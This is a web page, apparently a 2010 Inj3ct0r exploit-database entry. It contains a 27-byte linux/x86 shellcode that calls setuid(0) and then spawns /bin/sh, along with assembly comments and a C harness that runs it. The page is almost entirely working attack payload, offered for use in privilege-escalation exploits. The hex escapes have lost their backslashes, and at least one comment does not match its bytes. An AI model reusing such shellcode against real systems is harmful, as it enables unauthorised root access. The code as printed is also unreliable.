Home / os / win7

linux/x86 setuid(0) && execve(/bin/sh,0,0) 27 bytes

Posted on 15 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 setuid(0) &amp;&amp; execve(/bin/sh,0,0) 27 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================================================= linux/x86 setuid(0) &amp;&amp; execve(/bin/sh,0,0) shellcode 27 bytes ============================================================= #Special Thanks Inj3ct0r Exploit DataBase #I Love Inj3ct0r.Com #include &lt;stdio.h&gt; const char sc[]= &quot;x31xdb&quot; //xor ebx,ebx &quot;x8dx43x17&quot; //LEA eax,[ebx + 0x17] /LEA is FASTER than push/pop! &quot;x99&quot; //cdq &quot;xcdx80&quot; //int 80 //setuid(0) should returns 0 right? ;) &quot;xb0x0b&quot; //mov al,0bh &quot;x52&quot; //push edx /Termina la cadena //bin/sh con un 0 &quot;x68x6ex2fx73x68&quot; //push dword &quot;hs/n&quot; &quot;x68x2fx2fx62x69&quot; //push dword &quot;ib//&quot; &quot;x89xe3&quot; //mov ebx,edx &quot;x89xd1&quot; //mov ecx,edx &quot;xcdx80&quot;; //int 80h int main() { printf(&quot; SMALLEST SETUID &amp;&amp; EXECVE GNU/LINUX x86 STABLE SHELLCODE &quot; &quot;WITHOUT NULLS THAT SPAWNS A SHELL&quot; &quot; Coded by vlan7&quot; &quot; + http://www.vlan7.org&quot; &quot; [+] Date: 4/Jul/2009&quot; &quot; [+] Thanks to: sch3m4&quot; &quot; [+] Shellcode Size: %d bytes &quot;, sizeof(sc)-1); (*(void (*)()) sc)(); return 0; } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-15]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP